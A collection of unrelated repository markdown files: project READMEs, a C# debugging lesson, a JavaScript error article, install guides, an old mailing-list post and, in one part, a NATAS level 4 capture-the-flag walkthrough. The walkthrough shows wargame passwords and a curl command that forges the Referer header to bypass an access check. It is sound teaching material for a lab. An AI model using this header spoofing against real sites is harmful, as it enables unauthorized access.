I began with my schema. I had three tables: users, jobs, and posts. Users would belong to a job and have many posts, jobs would have many users, and posts would belong to a user. Upon sign up each new user would have to provide a username, an email, a unique password, and choose their job.

After logging in each user is sent to the posts index page. Which shows all posts from users. They can then click on the post to see it by itself and who wrote it or create one of their own. Users can only edit their own posts. This is protected by comparing current_user.id to post.user_id. The edit button is only an option if you are the owner of the post.

Users can also view a list of all employees. Each user can be clicked on and sent to a page with that users name and job. Users can also go to the jobs page and view all the jobs within the business. Clicking on one of the jobs sends the user to a list of said job along with all the users who have that job.

Jobs can only be created and edited by users with "admin" authorization. I was able to do this by creating a row on the users table titled admin with a boolean value. That way only certain users have access to creating and editing jobs.

All of my routes were secured through proper error handling. This was most challenging in posts. In /posts/index.erb, I used the line <% if @post.user == current_user %> to create an edit and delete button that can only be viewed by the creator of the post and I protected the route itself using

``` if current_user.id != @post.user_id
            flash[:message] = "You don't have access to edit this post. "
            redirect to '/posts'
        end```

All CRUD methods also require a user to be logged in. That way only users of the site can view its contents.

This project was much more challenging but also much more fulfilling than the first. I felt a great sense of pride viewing my finished product and also more confident in what I have learned than ever before.

extension: markdown


text:
# Laravel QueryFilter
A simple & dynamic package for your eloquent query in laravel. It will help
you to write query logic individual for each parameter.

## Installation
You can start it from composer. Go to your terminal and run this command from your project root directory.

```php
composer require hashemi/queryfilter
```

- If you're using Laravel, then Laravel will automatically discover the package. In case it doesn't discover the package then add the following provider in your `config/app.php`'s **providers** array.
```php
Hashemi\QueryFilter\QueryFilterServiceProvider::class
```

- If you're using Lumen, then you'll have to add the following snippet in your `bootstrap/app.php` file.
```php
$app->register(Hashemi\QueryFilter\QueryFilterServiceProvider::class)
```

## Usage
Suppose you want use query-filters on `User` model for query. Laravel QueryFilter provide `Filterable` trait . You need to use it on your model. It will add a scope `filter` on your model. Like,

```php
class User extends Model
{
    // Use Filterable Trait
    // ....
    use \Hashemi\QueryFilter\Filterable;
    // ....
}
```

Now, you need to create your query filter file where you will write sql logic to generate sql by passing parameter.
You can create your filter file by using command,

```php
php artisan make:filter UserFilter
```

This command will create `Filters` directory on your `app/` directory. So, you can find the file on `app/Filters/UserFilter.php`. Every method of filter class, represent your passing parameter key. You need to pass your parameter `snake` case and your method name will be like `apply<ParamterName>Property` format. Property name must be write in `Pascal` case.

```php
class UserFilter extends \Hashemi\QueryFilter\QueryFilter
{
    public function applyIdProperty($id)
    {
        return $this->builder->where('id', '=', $id);
    }

    public function applyNameProperty($name)
    {
        return $this->builder->where('name', 'LIKE', "%$name%");
    }
}
```

After create that file, when you use your model on you controller to query something, you need to use your scope and pass `UserFilter` class as a parameter. You controller will be look like,

```php
class UserController extends Controller
{
    public function index(Request $request, UserFilter $filter)
    {
        $user = User::query()->filter($filter)->get();
        // do whatever
    }
}
```

If you want to pass your custom queries on filter, you can also do that in your filter,

```php
class UserController extends Controller
{
    public function index(Request $request, UserFilter $filter)
    {
        $user = User::query()->filter($filter, [
            'username' => 'ssi-anik'
        ])->get();
        // do whatever
    }
}

```
And on your `app\Filters\UserFilter.php` file, you can do something like it,

```php
class UserFilter extends \Hashemi\QueryFilter\QueryFilter
{
    public function applyIdProperty($id)
    {
        return $this->builder->where('id', '=', $id);
    }

    public function applyNameProperty($name)
    {
        return $this->builder->where('name', 'LIKE', "%$name%");
    }

    public function applyUsernameProperty($username)
    {
        return $this->builder->where('username', 'LIKE', "%$username%");
    }

}
```

That's it.

## Convention
- Your `*Filter` class should have methods in `apply*Property` format. Where the `*` will be replaced by the StudlyCase Property names. So, if your field name is `first_name`, then the method name should be `applyFirstNameProperty()`.
- If you're passing an extra data to the Model's filter scope like `Model::filter($filter, ['id' => 4])`, then the provided array will take precedence over the request's data.

## Caveat
If your **request** & **provided array** to the `filter` scope cannot find any suitable method, then it'll return the whole table data as `select * from your_table`. Be aware of this issue.

## Contributing
Pull requests are welcome. For any changes, please open an issue first to discuss what you would like to change.

repository: hashemirafsan/queryfilter

gha_language: PHP

repo_name: hashemirafsan/queryfilter


text:
### Vuetify

Vuetify is a component library with default styling.
See http://vuetifyjs.com/ for details.

Vuetify needs one root element on the page to work. This can either be the `v-app` component or you can add an attribute called `data-app` to one element.

We use the [a-la-carte](https://vuetifyjs.com/en/guides/a-la-carte) method of vuetify to import only components which are needed by our project. Therefore we need some specific loaders in the webpack configuration. (See package.md)

#### Example of an import

If you want to use a component (e.g. date-picker) and some layout features (v-grid) of Vuetify you can import them like this:

```js static
import * as VDatePicker from 'vuetify/es5/components/VDatePicker';
import * as VGrid from 'vuetify/es5/components/VGrid';

export default {
  components: {
    ...VDatePicker,
    ...VGrid,
  },
}
```

repository: verstaerker/koel-theme-new-feathers

branch_name: refs/heads/develop

gha_language: Vue

repo_name: verstaerker/koel-theme-new-feathers


text:
![Hip logo](https://cloud.githubusercontent.com/assets/956212/5924947/2c8542ba-a660-11e4-8f30-a50286353b3b.png)

**H**uman **I**n**p**ut / Simple human readable data markup.

[![Build Status](https://travis-ci.org/mario-deluna/Hip.svg?branch=master)](https://travis-ci.org/mario-deluna/Hip)
[![License](http://img.shields.io/packagist/l/clancats/framework.svg?style=flat)](https://github.com/mario-deluna/Hip)

```yaml
name: "Hip"
type: "Markup language"
version: 1.0
tags: "markup", "serialization", "language"
```

Hip does not try to replace any data markups or create a [new standard](http://xkcd.com/927/). The target of hip is to be readable and writable by non-technicals folks without out having to explain the syntax.

## FAQ

 - **Why should I use this?** Sorry dude I don't know.. This data parser is an experiment and will maybe be implemented into the ClanCatsFramework 2.1. If you are looking for an approved and stable data serialization format use [YAML](http://yaml.org/). If you believe Hip could be useful, feel free, every user makes me happy :)

## Installation

This Hip parser is written in _PHP_ using _PSR-4_ autoloading you can install it using _composer_.

```
"require":
{
    "mario-deluna/hip": "dev-master"
}
```

## Usage

### Encoding / Decoding

Decode a hip data string to an array:

```php
Hip\Hip::decode( $hipString );
```

Encode an array to a hip data string:

```php
Hip\Hip::decode( $myArray );
```

### Reading / Writing files

Read hip file:

```php
Hip\Hip::read( 'my/path/to/file.hip' );
```

Write hip file:

```php
Hip\Hip::write( 'my/path/to/file.hip', $myArray );
```

## Hip syntax

### Simple key values

```yaml
name: "Zaphod beeblebrox"
job: "President of the Galaxy"
```

wich equals

```json
{
    "name": "Zaphod beeblebrox",
    "job": "President of the Galaxy"
}
```

### Multi layer

```yaml
recipe:
    duration: 60
    ingredients: "eggs", "bacon", "cream", "leek"
```

wich equals

```json
{
    "recipe":
    {
        "duration": 60,
        "ingredients": [ "eggs", "bacon", "cream", "leek" ]
    }
}
```

### Array lists

```yaml
instruments:
    -
    name: "Guitar"
    strings: 6
    --
    name: "Bass"
    strings: 4
    -
```

wich equals

```json
{
    "instruments":
    [
        {
            "name": "Guitar",
            "strings": 6
        },
        {
            "name": "Bass",
            "strings": 4
        }
    ]
}
```

### data types

```yaml
string: "Hello World"
integer: 42
float: 3.14
yepBool: yes
nopeBool: no
nothing: nil
```

wich equals

```json
{
    "string": "Hello World",
    "integer": 42,
    "float": 3.14,
    "yepBool": true,
    "nopeBool": false,
    "nothing": null
}
```

## TODO

* Hip config object / utility
* Automatic detect the level indicator ( space, tab etc. )
* more tests...


text:
---
title: 'Discovering errors'
nav_order: 1
hidden: false
---

We've so far been practicing the fundamentals of the language, such as variables, conditionals, loops, and methods. Let's now move on to look at some of the factors affecting the understandability of programs, and how errors are found.

## A Programmer Is Blind to Their Own Code

A programmer often becomes blind to their code. Let's familiarize ourselves with this effect with the aid of the short video below. Count how many times the white-shirted players pass the ball between each other. The video contains instructions in English.

[![Link to video: https://www.youtube.com/watch?v=Ahg6qcgoay4](https://img.youtube.com/vi/Ahg6qcgoay4/mqdefault.jpg)](http://www.youtube.com/watch?v=Ahg6qcgoay4)

There's something else that also happens in the video that may go unnoticed at first. This effect is known as perceptual blindness, and is explained by the fact that as we focus on a specific task, our brains tend to filter out information that is irrelevant to that task. However, we don't always know what information is, in fact, essential and what is not - an example of this being when we study. Concentrating on a specific part of a study exercise can lead to relevant information being filtered out.

Fortunately, applying oneself to a given task lessens the occurrence of perceptual blindness. In other words, practice develops one's ability to distinguish between relevant and irrelevant information.

One way in which perceptual blindness manifests itself in programming practice is when concentrating on a specific part of a program draws attention away from seemingly correct, yet erroneous parts. For instance, while inspecting the correctness of a program's output, a programmer may fixate on the print statements, and mistakenly neglect some aspects of the logic.

Likewise, a programmer may focus on the most complicated aspect of a program featuring a loop, when in fact the error lies somewhere else completely. An example of this is the program below, which is used to calculate the average of user-inputted values. It contains an error, and when searching for it, the loop is typically the first target of focus.

```cpp

int values = 0;
int sum = 0;

while (true)
{
  Console.WriteLine("Provide a value, a negative value ends the program");
  int value = Convert.ToInt32(Console.ReadLine());
  if (value < 0)
  {
    break;
  }

  values = values + 1;
  sum = sum + value;
}

if (sum == 0)
{
  Console.WriteLine("The average of the values could not be calculated.");
}
else
{
  Console.WriteLine("Average of values: " + (1.0 * sum / value));
}
```

Question: Can you spot what is wrong with the code above? We will find the error later on in this part. The answer is also at the bottom of the page. DON'T SPOIL YOURSELF, read the whole part first!

Perceptual blindness is something that one cannot be eliminated completely. However, there are ways by which a programmer can lessen its effect - the first one being taking breaks, which requires that work is begun early. Code comments, proper naming of things, and "debugging" prints are additional examples of things that are also helpful.

## Commenting the Source Code

Comments have many purposes, and one of them is explaining how the code works to oneself when searching for bugs. The execution of a relatively simple program is described below through the use of comments.

```cpp
/*
 Prints the numbers from ten to one.
Each number is printed on its own line.
*/

// We create an integer variable named value,
// assigning the value 10 to it.
int value = 10;

// The loop execution continues until
// the value of the variable named value is less than or equal to
// zero. The excution doesn't stop _immediately_ when the value zero
// is assigned to the variable, but only when the condition of the
// loop is evaluated the following time.
// This always happens after the loop has executed
while (value > 0) {
    // we print out the value in the variable and a new line
    Console.WriteLine(value);
    // we decrement the value by one
    value = value - 1;
}
```

Comments have no impact on the execution of the program, i.e. the program works in the same way with the comments as it does without them.

The comment style displayed above that is intended for learning purposes is, however, too elaborate for real development, where the goal is for the source code to be self documenting. This means that the functionality of the program should be evident from the way classes, methods, and variables are named.

The example can be "commented out" by encapsulating the code into an appropriately named method. Below are two examples of methods that do this - one of the methods is more general in its purpose compared to the other. The more general method assumes, however, that the user knows which of the two parameters is assigned the higher value and which the lower.

```cpp
public static void PrintValuesFromTenToOne()
{
  int value = 10;
  while (value > 0)
  {
    Console.WriteLine(value);
    value = value - 1;
  }
}
```

```cpp
public static void PrintValuesFromLargestToSmallest(int start, int end)
{
  while (start >= end) {
    Console.WriteLine(start);
    start = start - 1;
  }
}
```

## Searching for Errors with Print Debugging

One required skill in programming is the ability to test and debug when searching for errors. The simplest way to search for errors is to use so-called print debugging, which in practice involves adding messages to certain lines of code. These messages are used to follow the flow of the program's execution, and can also contain values of variables that live in the program.

Let's inspect the program already familiar to us from the previous question that was used to calculate the average of non-negative values.

```cpp

int values = 0;
int sum = 0;

while (true)
{
  Console.WriteLine("Provide a value, a negative value ends the program");
  int value = Convert.ToInt32(Console.ReadLine());
  if (value < 0)
  {
    break;
  }

  values = values + 1;
  sum = sum + value;
}

if (sum == 0)
{
  Console.WriteLine("The average of the values could not be calculated.");
}
else
{
  Console.WriteLine("Average of values: " + (1.0 * sum / value));
}
```

Had the program contained an error, print debugging could have been used to unravel its functionality by adding print statements in the appropriate places. The example below contains one possible example of a program containing print-debug statements.

```cpp

int values = 0;
int sum = 0;

while (true)
{
  Console.WriteLine("-- values: " + values + ", sum: " + sum);

  Console.WriteLine("Provide a value, a negative value ends the program");
  int value = Convert.ToInt32(Console.ReadLine());
  if (value < 0)
  {
    Console.WriteLine("-- value is negative, exiting loop");
    break;
  }

  values = values + 1;
  sum = sum + value;
}

Console.WriteLine("-- loop exited");
Console.WriteLine("-- values: " + values + ", sum: " + sum);

if (sum == 0)
{
  Console.WriteLine("The average of the values could not be calculated.");
}
else
{
  Console.WriteLine("Average of values: " + (1.0 * sum / value));
}
```

When a program is executed multiple times with appropriate inputs the hidden error is often found. Coming up with relevant inputs is a skill in its own right. It's essential to test the so-called corner cases, i.e., circumstances where the program execution could be exceptional. An example scenario would be one where the user does not enter a single acceptable value or enters zeros or very large values.

Answer: The last variable in the code is called **value**, when it should be called **values**. We are calling for a variable which was defined inside the loop, rather than the one we want.


text:
## Schema Specification

This is the schema specification for google sheets used by this updater

### Sheets

One Sheet per season of anime (ex. WINTER 2017, SPRING 2018).

These sheets must be named with SPRING, SUMMER, FALL, WINTER in caps followed by the four digit year.

### Headers

All sheets must start with a header row.

### Record Rows

Each row of votes will specify a single show. The first column must be the show name. This name MUST match exactly the show name as displayed on My Anime List. This is to make it easier to identify the show in the MAL Api.

Each following cells will be ordered results for each week of the seasons (starting from Week 1 and up) repeat as needed (though most common there will be less than 6 weeks of votes)

#### Cell Format

A record cell will be of the form: "Ep. 5: 2 to 4". This specifies the episode watched, and the votes for and against the show.
The background color will also be green if the show passed, and red indicating a loss.

The episode number must be the episode with in the season (to match the record on MAL) (See Boku no Hero S3 for a possible exception)

Cells can be filled with BYE (with green background) if the show is still active, but was not watched that week.

All other cells must be empty.

repository: brisberg/friday-fellows-updater

gha_language: TypeScript

repo_name: brisberg/friday-fellows-updater


text:
---
title: Find, box, & label
type: blank
---

Be **quick**, use the **corresponding number**, box the **entire sound**.

Click _Continue_ when you have completed the task.

**Note:** The dawn chorus is when the birds begin chorusing at dawn.

Dawn chorus - 1
Rain - 2
High-pitched bird call - 3

repository: QutEcoacoustics/interaction-experiments

gha_language: JavaScript

repo_name: QutEcoacoustics/interaction-experiments


text:
# NATAS LEVEL 4

```
http://overthewire.org/wargames/natas/natas4.html
```

```
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL:      http://natas4.natas.labs.overthewire.org
```

### SOLUTION

We are greeted with the following message..

```
Access disallowed. You are visiting from "" while authorized users should come only from
"http://natas5.natas.labs.overthewire.org/"
```

.. feels like a cookie or a header is being used to supply this location. Let's inspect..

```
GET /index.php HTTP/1.1
Host: natas4.natas.labs.overthewire.org
Connection: keep-alive
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://natas4.natas.labs.overthewire.org/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: __cfduid=d773051550db82f7a8a4d2154d95cf23b1539528567; __utmc=176859643; __utmz=176859643.1540523077.10.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utma=176859643.380347011.1539528564.1540653662.1540658153.12
```

We see there is a REFERER request header that looks promising.

```
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer

The `Referer` request header contains the address of the previous web page from which a
link to the currently requested page was followed. The `Referer` header allows servers to
identify where people are visiting them from and may use that data for analytics, logging,
or optimized caching, for example.
```

So let's try modifying this value before sending it onto the server..

```
$ curl 'http://natas4.natas.labs.overthewire.org/index.php' -H 'Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va' -H 'Referer: http://natas5.natas.labs.overthewire.org/'
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas4", "pass": "Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" };</script></head>
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
</html>
```

Using the Chrome extension `Modify Headers`, we can achieve the same effect within the
browser..

repository: PhilipSLuk/security-projects

branch_name: refs/heads/development

repo_name: PhilipSLuk/security-projects


text:
# PvPToggle
Plugin to toggle the ability to pvp

### Commands
/pvp {toggle|on|off|status} - used to change pvp state

/pvp <player> - used to see the pvp state of another player

/pvp <player> {toggle|on|off} - used to set the pvp state of another player

### Permission Nodes
pvptoggle.allow - grants access to /pvp {toggle|on|off|status} command

pvptoggle.others - grants access to /pvp (player) command

pvptoggle.others.set - grants access to /pvp (player) {toggle|on|off} command

pvptoggle.bypass - allows player to bypass the /pvp off cooldown

pvptoggle.reload - allows player to reload the config


text:
# ALA Installation Scripts [![Build Status](https://travis-ci.org/mbohun/ala-install.svg?branch=master)](https://travis-ci.org/mbohun/ala-install)
This project contains [Ansible](http://www.ansible.com/) playbooks for setting up ALA components on CentOS 6.x and Ubuntu 12.x machines.
This project includes a playbook for setting up the [ALA demo ](http://ala-demo.gbif.org).

## Ansible version

The playbooks and roles in this repository require Ansible 1.8 or above.

## Setup the ALA demo

Below are some instructions for setting up the [ALA demo](http://ala-demo.gbif.org) with Ansible & Vagrant on your local machine.

#### 1. Vagrant
[Vagrant](http://www.vagrantup.com) can be used to test ansible playbooks on your local machine. To use this, you will need to install
[VirtualBox](https://www.virtualbox.org) and [Vagrant](http://www.vagrantup.com).

 ```vagrant/centos``` and ```vagrant/ubuntu``` contain configurations that can used with [VirtualBox](https://www.virtualbox.org/) to bring up a VH for deploying against.

This is included only to simplify local testing, but any server running CentOS 6.x or Ubuntu 12.x could be used.

To create a virtual machine with vagrant:

```
$ cd vagrant/ubuntu
$ vagrant up
```

The first execution of this downloads the CentOS image which can take 20 minutes or more. Once ready you can ssh to your VM like so:

```
$ ssh<EMAIL_ADDRESS>```

with password ```vagrant```.

#### 2. Ansible

An [Ansible inventory file](http://docs.ansible.com/intro_inventory.html) is included that allows for running against a Vagrant configured VM (see ```inventories/vagrant/demo-vagrant```). Other inventories can easily be crafted to match other infrastructure.

Note: any application deployed as part of a playbook requires the following two variables to be defined in the inventory: ```<applicationName>_hostname``` variable and ```<applicationName>_context_path```. See the readme file in the ansible directory for more information.

To run Ansible against your vagrant instance you need to locate the correct key file (e.g. the default insecure vagrant file if using the Vagrant config for testing):

```
$ cd ansible
$ ansible-playbook -i inventories/vagrant ala-demo.yml --private-key ~/.vagrant.d/insecure_private_key -u root
```

## Other playbooks

### Vagrant

The ```inventories/vagrant/``` directory contains sample inventories for most playbooks that will work against a Ubuntu Vagrant virtual machine. To use these inventories, add an entry for ```vagrant1``` and ```vagrant1.ala.org.au``` to your hosts file, or edit the inventory file and replace the hostnames and URLs, then run

```
ansible-playbook --sudo --ask-sudo-pass -i inventories/vagrant/<inventoryFile> <playbook>.yml --private-key ~/.vagrant.d/insecure_private_key -u vagrant```
```

The inventory files can easily be modified to work against other virtual machines or servers (e.g. Nectar or CSIRO) simply by modifying the server and host names appropriately.

## Notes for different environments (CSIRO/Nectar)

There are some minor differences for running these playbooks against Nectar VMs, CSIRO IM&T VMs and Vagrant VMs.
In each case you will need to create an inventory file that points to your VM(s).

For IM&T virtual machines:
```
$ ansible-playbook -i inventories/demo ala-demo.yml -u <CSIRO_IDENT> --ask-pass --ask-sudo-pass -s
```

For Nectar VMs:
```
$ ansible-playbook -i inventories/nectar-sandbox sandbox.yml --private-key <PATH_TO_YOUR_PEM_FILE> -u root
```
Note Nectar VMs will require an edit of the /etc/hosts file on the VM so that it recognises its own host name.

For Vagrant VMs:
```
$ ansible-playbook -i inventories/vagrant ala-demo.yml --private-key ~/.vagrant.d/insecure_private_key  -u root
```

For EC2 instances:
```
$ ansible-playbook -i inventories/solr-amazon solr-standalone.yml --private-key ~/.ssh/dmartin-amazon.pem -u ubuntu -s
```

## Required inventory properties
Most ALA playbooks will require at a minimum the following set of inventory properties:

* ```<applicationName>_hostname``` - The hostname portion of the url used to access the deployed service (e.g. 'ala.org.au in the url http://ala.org.au/myApp)
* ```<applicationName>_context_path``` - The context path portion of the url used to access the deployed service (e.g. 'myApp' in the url http://ala.org.au/myApp). Note: this property should be blank for the context root, NOT a slash).
* ```auth_base_url``` - The HTTP*S* URL of the authentication server (e.g. https://auth.ala.org.au)
* ```auth_cas_url``` - The HTTP*S* URL of the CAS application on the authentication server (e.g. https://auth.ala.org.au/cas)

repository: mbohun/ala-install

repo_name: mbohun/ala-install


text:
# Download and Setup (Software)

Download the installer from [here](https://github.com/AceCentre/RelayKeys/releases/latest). When downloaded 'Run' the program

Step through the installation procedure. Select 'Normal install' and let the RelayKeys setup software do its thing to install the software in the correct place (By default: `C:\Program Files (x86)\Ace Centre\RelayKeys`).

{% hint style="info" %}
If you use 'Portable' or change the location of the software: Make a note of where you have stored the programme, as you will need this when linking it with your software
{% endhint %}

##

repository: AceCentre/RelayKeys

repo_name: AceCentre/RelayKeys


text:
# JavaScript Errors - Property X Cannot Be Deleted TypeError

Next up in our [__JavaScript Error Handling__](https://airbrake.io/blog/javascript-error-handling/javascript-error-hierarchy) series we're looking at the `Property X Cannot Be Deleted TypeError` in greater detail.  The `Property X Cannot Be Deleted TypeError` is typically thrown when trying to delete an object property that is `non-configurable`.

In this article we'll explore the `Property X Cannot Be Deleted TypeError` to see where it sits within the JavaScript `Exception` hierarchy along with a few sample code snippets to illustrate how `Property X Cannot Be Deleted TypeErrors` are thrown.  We'll also briefly take a gander at JavaScript's built-in data properties (like `configurable`), so let's get started!

## The Technical Rundown

- All JavaScript error objects are descendants of the [`Error`](https://airbrake.io/blog/javascript-error-handling/javascript-error-hierarchy) object, or an inherited object therein.
- The [`TypeError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError) object is inherited from the [`Error`](https://airbrake.io/blog/javascript-error-handling/javascript-error-hierarchy) object.
- The `Property X Cannot Be Deleted TypeError` is a descendant of [`TypeError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError) object.

## When Should You Use It?

As we've seen many times before the `Property X Cannot Be Deleted TypeError` is a `strict mode` only exception.  Strict mode is an optional variant of JavaScript that uses slightly different (and typically more restrictive) semantics when compared to normal JavaScript.  One specific change is that strict mode contains a set of error types that are not thrown when strict mode is disabled and `Property X Cannot Be Deleted TypeError` is one such example.

Strict mode can be enabled by placing the `'use strict';` statement at the top of our script.  We won't go into any more details of strict mode's particular behaviors here, but feel free to check out the [MDN documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode) for more info.

As previously mentioned the `Property X Cannot Be Deleted TypeError` occurs when trying to `delete` a property value that is marked as `non-configurable`.  The `configurable` state of a property is actually an `attribute` in JavaScript.  Such an `attribute` is essentially a built-in configuration setting that can be altered throughout code and will effect how that property behaves.  Some methods allow for direct modification of property `attributes`, while other methods modify certain `attributes` behind the scenes.

We can use the [`Object.defineProperties()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties) method to directly add or modify object `properties`, including the `name`, `value`, and `attributes`.  Here we have a simple example where we've defined a `book` object and then called `Object.defineProperties()` which expects the first argument to be the object we're modifying, while the second argument is an object defining the list of `properties` to add/modify and their respective values:

```js
// Enable strict mode.
'use strict';

let printError = function (error, explicit) {
    console.log(`[${explicit ? 'EXPLICIT' : 'INEXPLICIT'}] ${error.name}: ${error.message}`);
}

try {
    // Create book object with a misspelled title.
    let book = {};

    // Assign properties.
    Object.defineProperties(book, {
        'author': {
            value: 'Patrick Rothfuss',
            configurable: true
        },
        'title': {
            value: 'The Name of the Wind'
        }
    });
    // Output book.
    console.log(book); // Object {title: "The Name of the Wind", author: "Patrick Rothfuss"}
    // Delete the author property.
    delete book.author;
    // Output modified book.
    console.log(book); // Object {title: "The Name of the Wind"}
} catch (e) {
    if (e instanceof TypeError) {
        printError(e, true);
    } else {
        printError(e, false);
    }
}
```

In the above case we specified the `name` of our `properties`, the `value`, and also set the `configurable` attribute to `true` for the `author` property only.  The `configurable` attribute defaults to `false`, which specifies that the `proeprty` cannot be deleted or have most other attributes changed.

We can see from the commented output next to the `console.log()` calls above that our first output shows both properties (`title` and `author`).  We then delete the `book.author` property and then output again, while shows the modified object only contains `title`.

Since `configurable` defaults to `false` our `title` property is currently considered `non-configurable`.  Therefore, let's try deleting the `title` property this time instead of `author` and see what happens:

```js
// Create book object with a misspelled title.
let book = {};

// Assign properties.
Object.defineProperties(book, {
    'author': {
        value: 'Patrick Rothfuss',
        configurable: true
    },
    'title': {
        value: 'The Name of the Wind'
    }
});
// Output book.
console.log(book); // Object {title: "The Name of the Wind", author: "Patrick Rothfuss"}
// Delete the title property.
delete book.title;
// Output modified book.
console.log(book);
```

Unsurprisingly, the attempt to delete the `non-configurable` `title` property results in a `Property X Cannot Be Deleted TypeError`, which appears as slightly different messages depending on the browser in use:

```js
// CHROME
[EXPLICIT] TypeError: Cannot delete property 'title' of #<Object>

// FIREFOX
[EXPLICIT] TypeError: property "title" is non-configurable and can't be deleted
```

While methods like `Object.defineProperties()` allow us to directly add/modify property attributes like `configurable` there are many built-in methods in the API that will change attributes on their own.  For example, one such method that modifies the `configurable` attribute is [`Object.freeze()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze), which provides a simple way to prevent properties from being added, removed, or modified in anyway.  Such an object is typically referred to as `immutable`.

For example, here we have a similar example from before except we're declaring our `book` object's properties inline.  After outputting the full book content we `freeze` the `book` object and then try to `delete` the `author` property:

```js
// Enable strict mode.
'use strict';

let printError = function (error, explicit) {
    console.log(`[${explicit ? 'EXPLICIT' : 'INEXPLICIT'}] ${error.name}: ${error.message}`);
}

try {
    // Create book object with a misspelled title.
    let book = { title: 'The Name of the Wind', author: 'Patrick Rothfuss' };
    // Output book.
    console.log(book); // Object {title: "The Name of the Wind", author: "Patrick Rothfuss"}
    // Freeze book object.
    Object.freeze(book);
    // Attempt to delete the author property.
    delete book.author;
    // Output modified book.
    console.log(book); // Object {title: "The Name of the Wind"}
} catch (e) {
    if (e instanceof TypeError) {
        printError(e, true);
    } else {
        printError(e, false);
    }
}
```

As it turns out this throws another `Property X Cannot Be Deleted TypeError`:

```js
// CHROME
[EXPLICIT] TypeError: Cannot delete property 'author' of #<Object>

// FIREFOX
[EXPLICIT] TypeError: property "author" is non-configurable and can't be deleted
```

We're seeing another `Property X Cannot Be Deleted TypeError` because, just as before when we explicitly set our `configurable` property to `false`, calling `Object.freeze()` on our object also sets `configurable` to `false` behind the scenes.  This can be verified by calling the `Object.getOwnPropertyDescriptor()` method and passing the object and name of the property in question.  In this case it doesn't matter which property we check since the entire object is frozen, but here we are outputting the `author` property object which shows the _direct_ property descriptor (as opposed to the indirect descriptor attached to the prototype chain of our object instance):

```js
// Create book object with a misspelled title.
let book = { title: 'The Name of the Wind', author: 'Patrick Rothfuss' };
// Freeze book object.
Object.freeze(book);
// Output `author` property descriptor object.
console.log(Object.getOwnPropertyDescriptor(book, 'author'));
// {value: "Patrick Rothfuss", writable: false, enumerable: true, configurable: false}
```

To dive even deeper into understanding how your applications deal with JavaScript Errors, check out the revolutionary Airbrake JavaScript error tracking tool for real-time alerts and instantaneous insight into what went wrong with your JavaScript code.

---

__META DESCRIPTION__

A close look at the Property X Cannot Be Deleted TypeError in JavaScript, including functional code examples and a brief look at property attributes.

---

__SOURCES__

- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors

path: /Exceptions/JavaScript/TypeError/Property X Cannot Be Deleted/text.md


text:
## Human readable output for bytes and seconds
Originally published: 2014-07-16 17:21:40
Last updated: 2014-07-16 17:21:41
Author: Mike 'Fuzzy' Partin

A set of simple functions to represent bytes or seconds in a human readable form.


text:
---
layout: default
---

# 1993-08-27 - RE: Commercial PGP; trapdoor rumors

## Header Data

From: "Pat Farrell"<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: eef036a1f2e70e09e5538069a2024aee73a85a8857631deae0ff68b4574491d5

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1993-08-27 14:38:18 UTC

Raw Date: Fri, 27 Aug 93 07:38:18 PDT

## Raw message

```
{% raw  %}From: "Pat Farrell"<EMAIL_ADDRESS>Date: Fri, 27 Aug 93 07:38:18 PDT
To<EMAIL_ADDRESS>Subject: RE: Commercial PGP; trapdoor rumors
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

In message Fri, 27 Aug 1993 01:46:57 -0400 (EDT),
  Mike Ingle<EMAIL_ADDRESS>writes:

>
> Will PKP agree to condone the use of the free version for personal
> non-profit communication? They will if they know what's good for their
> bottom line. PGP could become a standard, and they stand to make
> a lot of money off its success.

In April, I talked to Jim Bidzos @ PKP, and he agreed to allow his
licensed RSA code to be built into a PGP compatible freeware program.
I believe some folks at MIT were planning to start work on it...
After all, cypherpunks write code...

Pat

Pat Farrell      Grad Student<EMAIL_ADDRESS>Department of Computer Science    George Mason University, Fairfax, VA
Public key availble via finger          #include <standard.disclaimer>

{% endraw %}
```

## Thread

+ Return to [August 1993](/archive/1993/08)

+ Return to "["Pat Farrell" <pfarrell@cs.gmu.edu>](/authors/pat_farrell_pfarrell_at_cs_gmu_edu_)"

+ 1993-08-27 (Fri, 27 Aug 93 07:38:18 PDT) - RE: Commercial PGP; trapdoor rumors - _"Pat Farrell"<EMAIL_ADDRESS>


text:
# Android Style Guide

